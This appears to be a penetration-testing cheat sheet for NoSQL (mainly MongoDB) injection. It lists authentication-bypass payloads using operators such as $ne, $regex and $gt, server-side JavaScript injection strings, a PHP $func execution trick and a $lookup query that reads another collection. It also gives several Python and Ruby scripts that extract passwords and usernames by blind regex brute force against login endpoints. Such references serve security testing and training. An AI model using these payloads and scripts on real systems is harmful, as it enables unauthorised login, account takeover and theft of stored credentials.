10 KiB
10 KiB
NoSQL Injection
Exploit
PHP
The exploits are based in adding an Operator
username[$ne]=1$password[$ne]=1 #<Not Equals>
username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameter
username[$regex]=.{25}&pass[$ne]=1 #Use the <regex> to find the length of a value
username[$eq]=admin&password[$ne]=1 #<Equals>
username[$ne]=admin&pass[$lt]=s #<Less than>, Brute-force pass[$lt] to find more users
username[$ne]=admin&pass[$gt]=s #<Greater Than>
username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non of the values of the array> (not test and not admin)
{ $where: "this.credits == this.debits" }#<IF>, can be used to execute code
Authentication Bypass
Basic authentication bypass using not equal ($ne) or greater ($gt)
in DATA
username[$ne]=toto&password[$ne]=toto
login[$regex]=a.*&pass[$ne]=lol
login[$gt]=admin&login[$lt]=test&pass[$ne]=1
login[$nin][]=admin&login[$nin][]=test&pass[$ne]=toto
in JSON
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
{"username": {"$gt":""}, "password": {"$gt":""}}
SQL - Mongo
Normal sql: ' or 1=1-- -
Mongo sql: ' || 1==1// or ' || 1==1%00
Extract length information
username[$ne]=toto&password[$regex]=.{1}
username[$ne]=toto&password[$regex]=.{3}
Extract data information
in URL
username[$ne]=toto&password[$regex]=m.{2}
username[$ne]=toto&password[$regex]=md.{1}
username[$ne]=toto&password[$regex]=mdp
username[$ne]=toto&password[$regex]=m.*
username[$ne]=toto&password[$regex]=md.*
in JSON
{"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}
Extract data with "in"
{"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}}
SQL - Mongo
/?search=admin' && this.password%00 --> Check if the field password exists
/?search=admin' && this.password && this.password.match(/.*/)%00 --> start matching password
/?search=admin' && this.password && this.password.match(/^a.*$/)%00
/?search=admin' && this.password && this.password.match(/^b.*$/)%00
/?search=admin' && this.password && this.password.match(/^c.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00 Found
SSJI
';return 'a'=='a' && ''=='
";return 'a'=='a' && ''=='
0;return true
PHP Arbitrary Function Execution
Using the $func operator of the MongoLite library (used by default) it might be possible to execute and arbitrary function as in this report.
"user":{"$func": "var_dump"}
Get info from different collection
It's possible to use $lookup to get info from a different collection. In the following example, we are reading from a different collection called users and getting the results of all the entries with a password matching a wildcard.
[
{
"$lookup":{
"from": "users",
"as":"resultado","pipeline": [
{
"$match":{
"password":{
"$regex":"^.*"
}
}
}
]
}
}
]
Blind NoSQL
import requests, string
alphabet = string.ascii_lowercase + string.ascii_uppercase + string.digits + "_@{}-/()!\"$%=^[]:;"
flag = ""
for i in range(21):
print("[i] Looking for char number "+str(i+1))
for char in alphabet:
r = requests.get("http://chall.com?param=^"+flag+char)
if ("<TRUE>" in r.text):
flag += char
print("[+] Flag: "+flag)
break
import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()
username="admin"
password=""
while True:
for c in string.printable:
if c not in ['*','+','.','?','|']:
payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
r = requests.post(u, data = {'ids': payload}, verify = False)
if 'OK' in r.text:
print("Found one more char : %s" % (password+c))
password += c
POST with JSON body
python script
import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()
username="admin"
password=""
u="http://example.org/login"
headers={'content-type': 'application/json'}
while True:
for c in string.printable:
if c not in ['*','+','.','?','|']:
payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
r = requests.post(u, data = payload, headers = headers, verify = False, allow_redirects = False)
if 'OK' in r.text or r.status_code == 302:
print("Found one more char : %s" % (password+c))
password += c
POST with urlencoded body
python script
import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()
username="admin"
password=""
u="http://example.org/login"
headers={'content-type': 'application/x-www-form-urlencoded'}
while True:
for c in string.printable:
if c not in ['*','+','.','?','|','&','$']:
payload='user=%s&pass[$regex]=^%s&remember=on' % (username, password + c)
r = requests.post(u, data = payload, headers = headers, verify = False, allow_redirects = False)
if r.status_code == 302 and r.headers['Location'] == '/dashboard':
print("Found one more char : %s" % (password+c))
password += c
GET
python script
import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()
username='admin'
password=''
u='http://example.org/login'
while True:
for c in string.printable:
if c not in ['*','+','.','?','|', '#', '&', '$']:
payload=f"?username={username}&password[$regex]=^{password + c}"
r = requests.get(u + payload)
if 'Yeah' in r.text:
print(f"Found one more char : {password+c}")
password += c
ruby script
require 'httpx'
username = 'admin'
password = ''
url = 'http://example.org/login'
# CHARSET = (?!..?~).to_a # all ASCII printable characters
CHARSET = [*'0'..'9',*'a'..'z','-'] # alphanumeric + '-'
GET_EXCLUDE = ['*','+','.','?','|', '#', '&', '$']
session = HTTPX.plugin(:persistent)
while true
CHARSET.each do |c|
unless GET_EXCLUDE.include?(c)
payload = "?username=#{username}&password[$regex]=^#{password + c}"
res = session.get(url + payload)
if res.body.to_s.match?('Yeah')
puts "Found one more char : #{password + c}"
password += c
end
end
end
end
MongoDB Payloads
true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1'
1, $where: '1 == 1'
{ $ne: 1 }
', $or: [ {}, { 'a':'a
' } ], $comment:'successful MongoDB injection'
db.injection.insert({success:1});
db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
|| 1==1
' && this.password.match(/.*/)//+%00
' && this.passwordzz.match(/.*/)//+%00
'%20%26%26%20this.password.match(/.*/)//+%00
'%20%26%26%20this.passwordzz.match(/.*/)//+%00
{$gt: ''}
[$ne]=1
';return 'a'=='a' && ''=='
";return(true);var xyz='a
0;return true
Tools
- https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration
- https://github.com/C4l1b4n/NoSQL-Attack-Suite
Brute-force login usernames and passwords from POST login
This is a simple script that you could modify but the previous tools can also do this task.
import requests
import string
url = "http://example.com"
headers = {"Host": "exmaple.com"}
cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"}
possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]
def get_password(username):
print("Extracting password of "+username)
params = {"username":username, "password[$regex]":"", "login": "login"}
password = "^"
while True:
for c in possible_chars:
params["password[$regex]"] = password + c + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
password += c
break
if c == possible_chars[-1]:
print("Found password "+password[1:].replace("\\", "")+" for username "+username)
return password[1:].replace("\\", "")
def get_usernames():
usernames = []
params = {"username[$regex]":"", "password[$regex]":".*", "login": "login"}
for c in possible_chars:
username = "^" + c
params["username[$regex]"] = username + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
print("Found username starting with "+c)
while True:
for c2 in possible_chars:
params["username[$regex]"] = username + c2 + ".*"
if int(requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False).status_code) == 302:
username += c2
print(username)
break
if c2 == possible_chars[-1]:
print("Found username: "+username[1:])
usernames.append(username[1:])
break
return usernames
for u in get_usernames():
get_password(u)